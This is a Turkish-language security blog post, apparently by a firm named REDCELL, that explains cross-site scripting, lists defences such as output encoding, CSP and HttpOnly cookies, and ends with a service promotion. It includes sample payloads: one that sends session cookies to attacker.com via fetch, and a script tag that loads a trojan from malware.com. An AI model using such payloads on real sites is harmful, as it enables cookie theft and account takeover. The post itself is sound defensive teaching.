← Tüm Yazılar
Teknik,XSS,JavaScript,Siber Güvenlik

XSS (Cross-Site Scripting) Nedir? Saldırı & Koruma Kılavuzu

2026-09-05 · 3 min okuma · REDCELL AR-GE
𝕏 Paylaş LinkedIn Paylaş 📧 E-posta Gönder

XSS (Cross-Site Scripting) — web uygulaması kullanıcı girişini filtrelemeden HTML/JavaScript olarak render ettiğinde, saldırganın diğer kullanıcıların tarayıcısında kod çalıştırmasıdır.

XSS Nedir?

Uygulama, kullanıcı input'unu sanitize etmeden sayfaya yazarsa:

<div>Hoşgeldiniz, {username}</div>

Hacker username = <script>alert('Hacked')</script> girer:

<div>Hoşgeldiniz, <script>alert('Hacked')</script></div>

JavaScript çalışır.

XSS Türleri

Pratik Saldırı Örneği

Blog yorum:

<img src=x onerror="fetch('https://attacker.com/?cookie=' + document.cookie)">

Okuyan her kişinin tarayıcısında çalışır → session cookie'si çalınır → hesap ele geçirilir.

---

🔴 Risk Derecesi: Kritik

Kötü Niyetli Hacker Ne Yapabilirdi?

Session Hijacking:
- Kullanıcının session cookie'sini çalar
- Kullanıcının hesabına login olur
- Profil bilgisi değiştirir, para transfer eder, siparişler yapar

Credential Theft:
- Fake login formu enjekte eder
- Kullanıcı "yeniden login olmalı" düşünerek şifre girer
- Şifre ele geçirilir

Malware Dağıtma:

<script src="https://malware.com/trojan.js"></script>

Finansal Sahtekarlık:
- PayPal/banka transferi formu sahtelenerek gösterilir
- Kullanıcıdan para çalınır

Fidye:
- Site ziyaretçilerine ransomware mesajı gösterilir
- "Bilgisayarınız kilitlendi, 50$ ödeyin" (scam)

Yasal Sonuçlar - KVKK: 500K-5M₺ ceza (kişisel veri ihlali) - TCK: Dolandırıcılık = 4-12 yıl hapis - Müşteri Zararı: Class action davası

---

✅ Nasıl Savunulur

1. Output Encoding (HTML Escape):

   # ❌ Yanlış:
   return f"<div>{user_input}</div>"

   # ✅ Doğru:
   from html import escape
   return f"<div>{escape(user_input)}</div>"
   

2. Content Security Policy (CSP):

   Content-Security-Policy: default-src 'self'; script-src 'self'
   

Sadece site'ın kendisindeki script'ler çalışır, dış script'ler engellenir.

3. Input Validation:
- <, >, ", ' karakterlerini reddet veya escape et
- Script tag'ları detekt et

4. HttpOnly Cookie Flag:

   Set-Cookie: sessionid=xyz; HttpOnly; Secure
   

JavaScript cookie'ye erişemez.

5. Regular Security Audit:
- Pentest yapılırlı XSS zafiyeti taranmalı

---

Sonuç

XSS, hafif görülse de kritik tehdit. Milyonlar kullanıcı etkilenebilir. Başlıca savunma: Output Encoding + CSP + Input Validation.

🛡️ Sisteminizin güvenliğinden emin misiniz?

Ücretsiz Ön Değerlendirme →

Yazıdaki zafiyetlerden etkileniyor olabilirsiniz. REDCELL uzmanları 30 dakikada siber risk analizi yapar.

📚 Benzer Yazılar